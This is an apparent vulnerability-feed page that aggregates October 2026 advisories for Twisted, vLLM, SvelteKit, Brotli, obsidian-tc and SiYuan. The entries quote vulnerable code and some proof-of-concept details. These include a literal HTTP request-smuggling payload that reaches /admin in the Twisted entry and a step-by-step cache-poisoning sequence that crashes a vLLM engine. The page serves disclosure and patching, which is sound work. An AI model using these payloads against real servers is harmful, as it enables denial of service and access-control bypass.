### Twisted: Unauthenticated Remote Denial of Service in the Twisted words domish XML Element Stream via an Unbounded Element Tree
https://kevwire.com/record/CVE-2026-115775
Twisted: Unauthenticated Remote Denial of Service in the Twisted words domish XML Element Stream via an Unbounded Element Tree (Oct 23, 2026).
An allocation-without-limits vulnerability in the Twisted XML element stream lets any unauthenticated remote peer exhaust server memory over a single stream. When the peer opens a container element and streams child elements without ever closing the container, every element is materialised into an in-memory tree with no limit on depth or child count. An element is released only when its end tag arrives, so a container the attacker never closes retains everything beneath it until the process is killed.

In `ExpatElementStream._onStartElement`, each start tag appends a new element to the current element's children and descends into it, with no depth or child-count check:
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115775).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115775&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-3476-c5c2-fr73: https://github.com/advisories/GHSA-3476-c5c2-fr73
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-115775: https://nvd.nist.gov/vuln/detail/CVE-2026-115775
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115775&date=2026-10-25
## Summary

An allocation-without-limits vulnerability in the Twisted XML element stream lets any unauthenticated remote peer exhaust server memory over a single stream. When the peer opens a container element and streams child elements without ever closing the container, every element is materialised into an in-memory tree with no limit on depth or child count. An element is released only when its end tag arrives, so a container the attacker never closes retains everything beneath it until the process is killed.

## Details

In `ExpatElementStream._onStartElement`, each start tag appends a new element to the current element's children and descends into it, with no depth or child-count check:

```python
# src/twisted/words/xish/domish.py (ExpatElementStream._onStartElement)
if self.documentStarted == 1:
 if self.currElem != None:
 self.currElem.children.append(e) # append child: no depth/count cap
 e.parent = self.currElem
 self.currElem = e # descend into the new element
```

An element is emitted and dropped only when its end tag arrives while it sits directly under the document root, so a container that is never closed keeps every child beneath it. The transport `XmlStream.dataReceived` feeds bytes to `self.stream.parse(data)` with no size limit, and in XMPP the stream is parsed during negotiation before authentication.

Affected product: Twisted, `twisted.words.xish.domish` element stream
Affected versions: confirmed against 26.4.0

## PoC

On any endpoint that parses untrusted XML streams with this stack, such as an XMPP server, open a stream by sending the opening `stream:stream` tag and a container element, then stream child elements continuously and never send the container's closing tag. No credentials are required, because in XMPP the stream is parsed before authentication.

Every child is appended to the container and retained because the container is never emitted, and the transport applies no limit on the size of the unfinished document. Because each small element becomes a full object in memory the footprint is many times the traffic sent, so a modest-bandwidth peer, or several such streams, drives the process to memory exhaustion.

## Impact

This is an unauthenticated remote denial of service by memory exhaustion. A single stream grows an in-memory element tree without bound, amplified by per-element object overhead, until the operating system kills the server. There is no confidentiality or integrity impact and no code execution. The affected surface is any deployment that parses untrusted XML streams with this stack, such as an XMPP server or component.

Affected package ranges reported by GitHub:
Twisted: <= 26.4.0
Action: GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Twisted: HTTP Request Smuggling in twisted.web via a Bare CR or LF in a Header Value
https://kevwire.com/record/CVE-2026-115877
Twisted: HTTP Request Smuggling in twisted.web via a Bare CR or LF in a Header Value (Oct 23, 2026).
An incomplete header-value validation (CWE-444) in the Twisted HTTP server lets a bare carriage return or line feed in a header value hide a following header from the parser. `twisted.web.http.HTTPChannel.headerReceived` rejects a NUL byte in a header value but not a bare CR or LF, even though RFC 9110 section 5.5 requires a recipient to reject all three. Because the channel splits requests only on CRLF, a value carrying a bare LF and a second header arrives as one line, so the second header is folded into the value and the request is framed with no body. A front-end that treats the bare LF as a line terminator frames the request differently, and the disagreement lets an attacker smuggle a request past it. This is an incomplete fix of the earlier Twisted request-smuggling advisories, which guarded the NUL sibling of this exact check.

`headerReceived` splits a header line on the first colon, strips space and tab from the value, and validates it with a single test that rejects only NUL:
CVSS 5.4 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-q7qq-6mhp-9rc4).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115877&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-q7qq-6mhp-9rc4: https://github.com/advisories/GHSA-q7qq-6mhp-9rc4
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115877&date=2026-10-25
## Summary

An incomplete header-value validation (CWE-444) in the Twisted HTTP server lets a bare carriage return or line feed in a header value hide a following header from the parser. `twisted.web.http.HTTPChannel.headerReceived` rejects a NUL byte in a header value but not a bare CR or LF, even though RFC 9110 section 5.5 requires a recipient to reject all three. Because the channel splits requests only on CRLF, a value carrying a bare LF and a second header arrives as one line, so the second header is folded into the value and the request is framed with no body. A front-end that treats the bare LF as a line terminator frames the request differently, and the disagreement lets an attacker smuggle a request past it. This is an incomplete fix of the earlier Twisted request-smuggling advisories, which guarded the NUL sibling of this exact check.

## Details

`headerReceived` splits a header line on the first colon, strips space and tab from the value, and validates it with a single test that rejects only NUL:

```python
# twisted/web/http.py HTTPChannel.headerReceived
data = data.strip(b" \t")
if b"\x00" in data: # NUL rejected; a bare CR or LF is not
 self._respondToBadRequestAndDisconnect()
 return False
```

The channel delimiter is CRLF, so `Foo: x\nContent-Length: 39` is one line: the split yields name `Foo` and value `x\nContent-Length: 39`, `strip` leaves the LF, and the NUL check passes. `_maybeChooseTransferDecoder` is then called with `Foo`, never sees a `Content-Length`, and installs no body decoder, so the request is framed with an empty body. The header name and request line already reject CR and LF, so the value is the only gap.

Affected product: Twisted, `twisted.web.http.HTTPChannel`
Affected versions: 26.4.0 and earlier

## PoC

Feed one connection a request whose header value carries a bare LF and a `Content-Length`, followed by a second request in the bytes after it: `POST /public HTTP/1.1\r\nHost: v\r\nFoo: x\nContent-Length: 44\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\n\r\n`. Twisted parses two requests and serves both, so the smuggled `GET /admin` returns the /admin response body even though the visible request was only `POST /public`. The bare CR variant behaves identically, and a NUL in the value is rejected, which isolates the missing CR and LF checks.

Behind a front-end that treats the bare LF as a line terminator, the front-end frames one `POST /public` and forwards a body while Twisted frames a second `GET /admin`; the extra response then poisons the shared connection, so a later victim receives the attacker's `GET /admin` response.

## Impact

This is an HTTP request-smuggling exposure (CWE-444) from inconsistent interpretation of a request (CWE-436). Through a front-end that accepts a bare CR or LF as a line terminator, an attacker can smuggle a request the front-end never sees, bypassing front-end access controls, poisoning a shared connection so a later victim receives the attacker's response, and poisoning a cache. Twisted is the strict endpoint that frames the request without a body, so it is realized only behind such a proxy, and there is no code execution.

Affected package ranges reported by GitHub:
Twisted: <= 26.4.0
Action: GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM: Forged multimodal UUID + P0/P1 processor-cache eviction drift: unauthenticated remote crash of the whole vLLM engine
https://kevwire.com/record/CVE-2026-114050
vLLM: Forged multimodal UUID + P0/P1 processor-cache eviction drift: unauthenticated remote crash of the whole vLLM engine (Oct 23, 2026).
Multimodal content parts (`image_url`, `video_url`, `input_audio`, ...) accept a user-supplied `uuid` field that vLLM uses **verbatim as the item's cache identity** (`mm_hash`). The two frontend/engine processor caches (P0 "sender" cache in the API process, P1 "receiver" cache in the EngineCore process) are independent LRU caches whose evictions are **not synchronized**, and the P1 hit path performs **zero consistency validation** — it silently substitutes the cached item's tensor data for whatever the current request actually contains.

A single unauthenticated client can exploit this to kill the entire engine, deterministically, with default server flags:
CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-p92p-rxj5-7p2x).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114050&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-p92p-rxj5-7p2x: https://github.com/advisories/GHSA-p92p-rxj5-7p2x
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-114050: https://nvd.nist.gov/vuln/detail/CVE-2026-114050
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114050&date=2026-10-25
## Summary

Multimodal content parts (`image_url`, `video_url`, `input_audio`, ...) accept a user-supplied `uuid` field that vLLM uses **verbatim as the item's cache identity** (`mm_hash`). The two frontend/engine processor caches (P0 "sender" cache in the API process, P1 "receiver" cache in the EngineCore process) are independent LRU caches whose evictions are **not synchronized**, and the P1 hit path performs **zero consistency validation** — it silently substitutes the cached item's tensor data for whatever the current request actually contains.

A single unauthenticated client can exploit this to kill the entire engine, deterministically, with default server flags:

1. **Seed**: send a small image with `uuid="U"`. Both caches now map `U` to an item with **N_A** visual tokens (e.g. 4).
2. **Drift**: send ~70 requests, each carrying a *unique* uuid, a max-size image, and an over-long text prompt. Each request is rejected with 400 — but **after** its image has been inserted into the P0 cache (insertion happens during chat rendering, before prompt-length validation), so these requests fill P0 **without ever reaching the engine/P1**. `U` is evicted from P0 only.
3. **Kill**: send a *large* image with `uuid="U"`. P0 misses → the image is freshly processed and the prompt is spliced with **N_B** (e.g. 2048+) placeholder tokens; the request carries full data to the engine, but P1 still has `U` → the engine **discards the fresh data and substitutes the stale N_A-row tensor**. The scheduler plans for N_B encoder slots while the worker merges N_A embeddings into N_B placeholders → `ValueError: Attempted to assign 4 = 4 multimodal tokens to 2048 placeholders` at `vllm/model_executor/models/utils.py:711` → uncaught in the EngineCore busy loop → `_send_engine_dead()` → the EngineCore process dies, every API server reports `EngineDeadError` and shuts down. `/health` never recovers; the deployment needs a full restart.

Verified end-to-end on the official `vllm/vllm-openai:v0.29.0` image with Qwen2.5-VL-3B-Instruct, default configuration (no flags beyond `--served-model-name`/`--gpu-memory-utilization`): after 70 flood requests the kill request returned `500 EngineCore encountered an issue` and `/health` went dead permanently. The vulnerable code is byte-identical on `main` (post-0.29.0).

## Details

**1. The client-controlled `uuid` becomes the cache hash verbatim.** `vllm/entrypoints/chat_utils.py:1677` / `:1884-1886` read `part["uuid"]` per content part and pass it through as `mm_uuids`. In `vllm/multimodal/processing/inputs.py:62-63`, when no `hf_processor_mm_kwargs` are present (the default for chat requests), the uuid string **is** the item hash — no content binding at all:

```python
# vllm/multimodal/processing/inputs.py:62-63
else:
 hashes.append(uuid_item) # client string used verbatim as mm_hash
```

**2. P0 insertion happens before request validation.** In the serving path, `render_chat_request` (`vllm/entrypoints/openai/chat_completion/serving.py:275`) runs full mm processing — `mm_processor.apply` (`vllm/renderers/base.py:759`) → `_cached_apply_hf_processor` → `_merge_mm_kwargs` → `cache.get_and_update_item` (`vllm/multimodal/processing/processor.py:1338`), which inserts the processed item into the P0 sender cache (default `mm_processor_cache_type="lru"`, 4 GiB). Only afterwards does `get_max_tokens` (`vllm/entrypoints/serve/utils/api_utils.py:183-186`) reject over-long prompts with 400. **A request can therefore write to P0 while never reaching the engine** — the primitive that desynchronizes P0 from P1. (Public issue #43941 documented this same asymmetry for the opposite drift direction, which was later handled via `MultiModalCacheMissError`; the P0-miss/P1-hit direction below was never addressed.)

**3. P1 substitutes cached data on hash hit with no consistency check.** In the EngineCore input thread, `preprocess_add_request` (`vllm/v1/engine/core.py:997-1000`) calls `mm_receiver_cache.get_and_update_features`, which only replaces `feature.data` (`vllm/multimodal/cache.py:673-690`) and keeps the request's own `mm_position` (placeholder layout). On a cache hit the receiver cache returns the stale item wholesale:

```python
# vllm/multimodal/cache.py:739-740 (MultiModalReceiverCache.get_and_update_item)
if (cached_item := self._cache.get(mm_hash)) is not None:
 return cached_item # fresh data silently discarded; no size/modality check
```

Only the opposite drift (P0 hit / P1 miss, `data=None`) is handled, via the retryable `MultiModalCacheMissError`. Nothing validates that the cached item's modality, shape, or token count matches the current request's placeholders.

**4. The mismatch is fatal to the engine.** The scheduler plans encoder work from the request's (fresh) placeholder count N_B, while the worker gathers embeddings from the stale N_A-row tensor (encoder-cache hit under the same forged hash, or re-encoding the stale data — both yield N_A rows). `_merge_multimodal_embeddings` then raises:

```python
# vllm/model_executor/models/utils.py:703-714
inputs_embeds[is_multimodal] = mm_embeds_flat.to(dtype=input_dtype) # RuntimeError
...
raise ValueError(
 f"Attempted to assign {expr} = {num_actual_tokens} "
 f"multimodal tokens to {num_expected_tokens} placeholders") from e
```

This exception is raised inside the worker's input preparation with no per-request containment, propagates to the EngineCore busy loop's top-level handler (`vllm/v1/engine/core.py:1372`), and triggers `_send_engine_dead()`. The API server's `output_handler` receives `EngineDeadError` (`vllm/v1/engine/async_llm.py:819`) and the whole process tree shuts down. (Issue #55546 independently reported this sink — "one bad multimodal item kills the entire V1 engine tree" — from an organically occurring stale cache entry; this report provides the missing deterministic, remote, single-attacker trigger.)

**Cost of the attack.** With the default `mm_processor_cache_gb=4`, one max-size Qwen2.5-VL image (12845056 pixels)

Affected package ranges reported by GitHub:
vllm: < 0.31.0
Action: GitHub lists first patched versions: vllm: 0.31.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SvelteKit : XSS via untrusted cache-control header in prerendered page
https://kevwire.com/record/CVE-2026-114061
SvelteKit : XSS via untrusted cache-control header in prerendered page (Oct 23, 2026).
Applications that prerender pages and use `setHeaders` to set a `cache-control` header from an untrusted source are vulnerable to cross-site scripting (XSS).

SvelteKit inserts the header value into a ` ` tag without escaping it. An attacker who can influence this value at prerender time can break out of the `content` attribute and inject HTML or JavaScript into the generated page. The injected code can then execute when users visit the page.
CVSS 0.0 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-27mw-82g8-phjj).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114061&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-27mw-82g8-phjj: https://github.com/advisories/GHSA-27mw-82g8-phjj
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114061&date=2026-10-25
### Impact

Applications that prerender pages and use `setHeaders` to set a `cache-control` header from an untrusted source are vulnerable to cross-site scripting (XSS).

SvelteKit inserts the header value into a ` ` tag without escaping it. An attacker who can influence this value at prerender time can break out of the `content` attribute and inject HTML or JavaScript into the generated page. The injected code can then execute when users visit the page.

### Patches

The fix escapes the header value before inserting it into the generated HTML. Upgrade to `@sveltejs/kit` version 3.0.0 or later.

### Workarounds

Avoid forwarding untrusted `cache-control` header values with `setHeaders` on prerendered pages. Use a fixed, trusted cache policy instead.

Affected package ranges reported by GitHub:
@sveltejs/kit: < 3.0.0
Action: GitHub lists first patched versions: @sveltejs/kit: 3.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Brotli: Out-of-bounds write in the Brotli decoder ("Node2Shell") also affects the PyPI Brotli package
https://kevwire.com/record/GHSA-9v8h-qqgm-4m35
Brotli: Out-of-bounds write in the Brotli decoder ("Node2Shell") also affects the PyPI Brotli package (Oct 22, 2026).
A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.

Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.
CVSS 9.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-9v8h-qqgm-4m35).
Sources:
GitHub-reviewed advisory GHSA-9v8h-qqgm-4m35: https://github.com/advisories/GHSA-9v8h-qqgm-4m35
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.

Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.

Affected package ranges reported by GitHub:
brotli: >= 1.0.3, < 1.2.1
brotlicffi: >= 1.0.3, < 1.2.1.0
Action: GitHub lists first patched versions: brotli: 1.2.1; brotlicffi: 1.2.1.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### obsidian-tc: Memory-lifecycle tools overwrite unowned notes or partially commit lifecycle changes
https://kevwire.com/record/CVE-2026-115478
obsidian-tc: Memory-lifecycle tools overwrite unowned notes or partially commit lifecycle changes (Oct 23, 2026).
obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. From 1.0.1 until 1.31.4, `create_entity`, `link_entities`, `rename_entity`, `unlink_entities` and `delete_entity` regenerate memory notes from SQLite at the computed `memory/<type>/<name>.md` path without reliably preserving note ownership or the consistency of a failed lifecycle operation. During shared materialization, a hand-authored note or an orphan left by a different entity whose name sanitized to the same path could have its entire body overwritten on the next write naming that type and name, with non-owned frontmatter preserved. `rename_entity` also seeded the destination path with a direct atomic write without validating ownership and could overwrite a foreign note there. Separately, several tools mutated SQLite before fallible filesystem work: `create_entity` and `link_entities` inserted the row or relation before materialization; `rename_entity` updated the entity, including a retired status, before updating its note; `unlink_entities` removed a relation before rematerializing the source note; and `delete_entity`'s cascade removed the target and its relations before rematerializing neighbouring notes. A later filesystem failure could therefore leave a row or relation changed and the memory graph inconsistent with the notes on disk even when the operation failed. An authorized caller with the required memory-tool permissions could, without intending to, destroy the body of a vault note outside the entity being written; `delete_entity` additionally requires its deletion permission and destructive confirmation, which this memory flaw does not bypass. Snapshots-before-write through `restore_note` mitigate the overwrite only where snapshots are enabled and the note had previously been written through obsidian-tc. This issue is fixed in version 1.31.4.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-r3g7-r4hr-m258).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115478&date=2026-10-25).
Sources:
NVD CVE-2026-115478: https://nvd.nist.gov/vuln/detail/CVE-2026-115478
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
GitHub-reviewed advisory GHSA-r3g7-r4hr-m258: https://github.com/advisories/GHSA-r3g7-r4hr-m258
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115478&date=2026-10-25
obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. From 1.0.1 until 1.31.4, `create_entity`, `link_entities`, `rename_entity`, `unlink_entities` and `delete_entity` regenerate memory notes from SQLite at the computed `memory/<type>/<name>.md` path without reliably preserving note ownership or the consistency of a failed lifecycle operation. During shared materialization, a hand-authored note or an orphan left by a different entity whose name sanitized to the same path could have its entire body overwritten on the next write naming that type and name, with non-owned frontmatter preserved. `rename_entity` also seeded the destination path with a direct atomic write without validating ownership and could overwrite a foreign note there. Separately, several tools mutated SQLite before fallible filesystem work: `create_entity` and `link_entities` inserted the row or relation before materialization; `rename_entity` updated the entity, including a retired status, before updating its note; `unlink_entities` removed a relation before rematerializing the source note; and `delete_entity`'s cascade removed the target and its relations before rematerializing neighbouring notes. A later filesystem failure could therefore leave a row or relation changed and the memory graph inconsistent with the notes on disk even when the operation failed. An authorized caller with the required memory-tool permissions could, without intending to, destroy the body of a vault note outside the entity being written; `delete_entity` additionally requires its deletion permission and destructive confirmation, which this memory flaw does not bypass. Snapshots-before-write through `restore_note` mitigate the overwrite only where snapshots are enabled and the note had previously been written through obsidian-tc. This issue is fixed in version 1.31.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin
https://kevwire.com/record/CVE-2026-62204
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin (Oct 23, 2026).
`installBazaarPlugin` (and the equivalent endpoints for widgets/icons/templates/themes) accept
`packageName`, `repoURL`, and `repoHash` as independent request fields with no validation that
they refer to the same package. `packageName` alone determines the install destination;
`repoURL`/`repoHash` alone determine what content gets downloaded and written there. A request
can name an already-installed, already-enabled plugin as `packageName` while pointing `repoURL`/
`repoHash` at different, attacker-influenced content, silently overwriting the existing plugin's
files.

`kernel/api/bazaar.go`:
```go
util.BindJsonArg("packageName", &packageName, true, true)
util.BindJsonArg("repoURL", &repoURL, true, true)
util.BindJsonArg("repoHash", &repoHash, true, true)
err := model.InstallBazaarPackage("plugins", repoURL, repoHash, packageName, 0)
```
CVSS 6.6 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-rpx2-p6hp-x5gj).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-62204&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-rpx2-p6hp-x5gj: https://github.com/advisories/GHSA-rpx2-p6hp-x5gj
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
